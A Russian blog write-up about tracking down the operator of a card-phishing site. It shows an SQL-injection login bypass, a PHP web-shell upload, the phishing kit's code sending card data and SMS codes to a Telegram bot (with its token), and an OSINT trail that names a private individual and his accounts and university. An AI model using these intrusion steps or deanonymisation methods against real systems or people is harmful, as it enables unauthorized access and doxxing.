Как я хакера ловил +284


Аннотация


Каждый из нас может стать жертвой злоумышленника, но иногда хищник и добыча меняются местами.

Это краткая история о том, как неумелое использовании технологий может привести к раскрытию личности. Статья будет полезна как юным хакерам, желающим получить «легкие деньги», так и тем, кто хочет их поймать.

Введение


Одним февральским вечерком я был занят поиском места для романтичного свидания со своей возлюбленной. Через какое-то время мое внимание привлек сайт milleniumfilm.ru, не доступный в настоящее время. Сайт предоставлял услуги аренды небольших кинозалов для частного просмотра. Красивые картинки, умеренные цены, есть онлайн поддержка, одно но: данные банковской карты предлагалось ввести на не защищенной странице этого же домена. Насторожившись, я написал в техподдержку сайта, и мошенники не заставили себя долго ждать — поняв, что я достаточно технически грамотен послали меня на 3 буквы. Конечно, мошенникам нет смысла тратить на меня время, но зачем так грубо? — В любой ситуации нужно оставаться Человеком.

С отзывами о сайтах такого же плана можно ознакомиться тут: zhaloba-online.ru. Некоторые из них даже до сих пор работают.

Взлом


Чувствуя вселенскую несправедливость, с целью установления личности злоумышленника и пресечения его деятельности, я принялся изучать сайт на предмет уязвимостей. Ткнув пальцем в небо Первый введеный адрес привел меня в панель администратора, который вежливо просил указать «Логин» и «Пароль».

Скриншот

Первая же попытка SQL-инъекции Первый пришедший в голову пароль

1' or '1

дал мне доступ к настройкам сайта.

Скриншот.
Данный скриншот был сделан после атаки, потому имя пользователя такое говорящее.

Сайт создателя данного творения Gelloiss.ru красовался на первой же странице. Особенно интересным оказался раздел «Банковские карты» — там отображались все введенные данные: фамилия и имя держателя карты, номер карты, срок действия, cvc2 и код подтверждения из смс.

Большой скриншот. Часть данных закрашена.

Как это работает.
Получив реквизиты банковской карты, злоумышленник делает запрос на перевод средств с карты и перенаправляется платежной системой на страницу 3D-secure, где нужно ввести код из смс. Код приходит в смс на телефон жертвы, который вводит его в форме сайта. Получив код из смс, мошенник вводит его на странице 3D-secure подтверждая транзакцию. Вся эта схема требует неотлагательный действий самого мошенника, что наводит на мысль, что сайт должен быстро уведомлять о наличии жертвы.

На странице «Настройка фильмов» была достаточно простая форма для формирования тексто-графических блоков. Функция загрузки картинки не фильтровала контент загружаемых файлов, что навело на мысль о возможности залить php-shell. Шелл успешно залился в /images/, откуда я его скопировал в корень сайта под названием login.php. Получив доступ к консоли, я принялся изучать внутренности сайта.

Список файлов.

Среди содержимого меня привлек файл telegram.php.

Код.
$ cat telegram.php
<?
function send_mess($text) {
  $token = "626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs";
  $mess = $text;
  $chat = "-302359340";
  /*return "<iframe style='width:500px; height:500px;' src='https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess."'></iframe>";*/
  file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess);
}

PHP скрипт содержал в себе токен телеграм-бота и отправлял сообщения в чат при вызове функции send_mess. Поискав по коду сайта стало ясно, что именно с помощью телеграм-бота злоумышленнику отправляются данные карт, смс код.

grep
./cart.php:22:send_mess("Имя клиента: ".$name."%0D%0AEmail: ".$email."%0D%0AТелефон: ".$phone."%0D%0AДата посещения: ".$date."%0D%0A"."Время: ".$time."%0D%0AГород: ".$city."%0D%0AСумма: ".$sum."%0D%0AСписок заказанных услуг: ".$services."%0D%0AIP: ".$ip."%0D%0AЗабанить: ".$link_ban_ip);
./pay/ms.php:21:  send_mess("Сумма: ".$sum."%0D%0AИмя владельца карты: ".$name."%0D%0AНомер карты: ".$num."%0D%0AСрок годности, месяц: ".$month."%0D%0AГод: ".$year."%0D%0Acvv: ".$cvv);

Что ж, у нас есть токен телеграм-бота, chat_id, адрес создателя сайта на котором красуется skype «ura7887» и telegram «Gelloiss» (раньше telegram не был указан, потому для того чтобы убедиться что telegram-аккаунт принадлежит владельцу сайта я использовал наживку).

Скриншот с сайта gelloiss.ru

Выясним, кто создал чат, в который бот отсылает сообщения.

curl
$ curl "https://api.telegram.org/bot626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs/getChatAdministrators?chat_id=-302359340"
{"ok":true,"result":[{"user":{"id":365019332,"is_bot":false,"first_name":"Iskr\u00e1","username":"Gelloiss","language_code":"ru"},"status":"creator"}]}

Как видно создатель чата имеет такой же username как и сайт создателя — «gelloiss».

Поиск


Помните: интернет ничего не забывает! Поиск по ключевым словам: «gelloiss», «ura7887», привел меня на страницу вконтакте Юрия Искры, где указан как сайт «Gelloiss.ru», так и skype «ura7887».

Скриншот.

А вот тут: vk.com видно, что данным скайп логином Юрий пользовался еще 6 лет назад, когда ему было 14 лет.

Скриншот.

А так же тут anime.anidub.com.

Скриншот.

Так же можно найти сообщение на форуме хакеров blackhacker.ru, с предложением продажи фишингового сайта.

Скриншот.


Проверка telegram


На момент начала истории, на сайте Gelloiss.ru не был указан логин telegram, потому мне нужно было связать владельца telegram-аккаунта с владельцем сайта или страницей вконтакте. Для этого я создал некий маркер, который владелец telegram-аккаунта должен будет разместить у себя.

shell
$ sha256sum <<< "i'm carder yuri iskra."
a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8  -

Далее я написал в telegram и представившить потенциальным заказчиком предложил пройти проверку: попросил разместить маркер a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 на странице вконтакте.

Скриншот диалога telegram

Заключение


Лично у меня не осталось сомнений, что страница вконтакте принадлежит злоумышленнику. На момент взлома сайта, в базе данных было не менее 100 различных номеров карт, а к моменту закрытия сайта еще +100.

В заключение давайте посмотрим, где учится наш «герой». Это легко определить посмотрев где учатся его «друзья по вузу» на странице вконтакте.

Большой скриншот

Продолжение следует


Мне удалось получить доступ к сообщениям, которые отсылает бот. Масштабы бедствия поражают: за 3 месяца телеграм-бот отослал примерно 13 тысяч сообщений. Даже если предположить, что всего-лишь пятая часть полученных данных валидна, то список пострадавших превысит 2 тысячи человек. Хакер работает не один, а с сообщниками, которые завлекают клиентов и помогают с переводом средств. На данный момент злоумышленники получают паспортные данные, телефоны и номера карт с сайта moneyonline.world.

Update 2019-04-21: Поскольку пользователь gelloiss убеждает в комментариях, что не был в курсе, для каких целей сайт будет использоваться, привожу фрагмент дампа сообщений telegram:
Скрытый текст
Message(id=31, grouped_id=None, from_id=898775249, edit_date=None, message='Короче нужен сайт по «переводу карты на карту без комиссии» естесственно он должен высылать данные карты и код подтверждения мне', to_id=PeerUser(user_id=365019332), entities=[], fwd_from=None, views=None, media=None, post=False, media_unread=False, out=True, date=datetime.datetime(2019, 4, 19, 9, 36, 15, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),

Message(id=33, grouped_id=None, from_id=365019332, edit_date=None, message='moneyonline.world/pay/?pay=123\nТипа этого?)) \nДанные в телегу приходят', to_id=PeerUser(user_id=898775249), entities=[MessageEntityUrl(offset=0, length=38)], fwd_from=None, views=None, media=MessageMediaWebPage(webpage=WebPage(id=8004451420650727228, hash=0, photo=None, description='MoneyOnline.com ? это платежная система для тех, кто зарабатывает в интернете. Электронный кошелек, прием платежей и вывод денег, денежные переводы. Мгновенная регистрация, выгодные комиссии.', embed_height=None, embed_width=None, document=None, embed_type=None, site_name='MoneyOnline', cached_page=None, url='https://moneyonline.world/pay/?pay=123', display_url='moneyonline.world/ru', duration=None, author=None, embed_url=None, title='MoneyOnline | Электронный кошелек, платежи, прием и вывод денежных средств', type='article')), post=False, media_unread=False, out=False, date=datetime.datetime(2019, 4, 19, 9, 37, 53, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),




К сожалению, не доступен сервер mySQL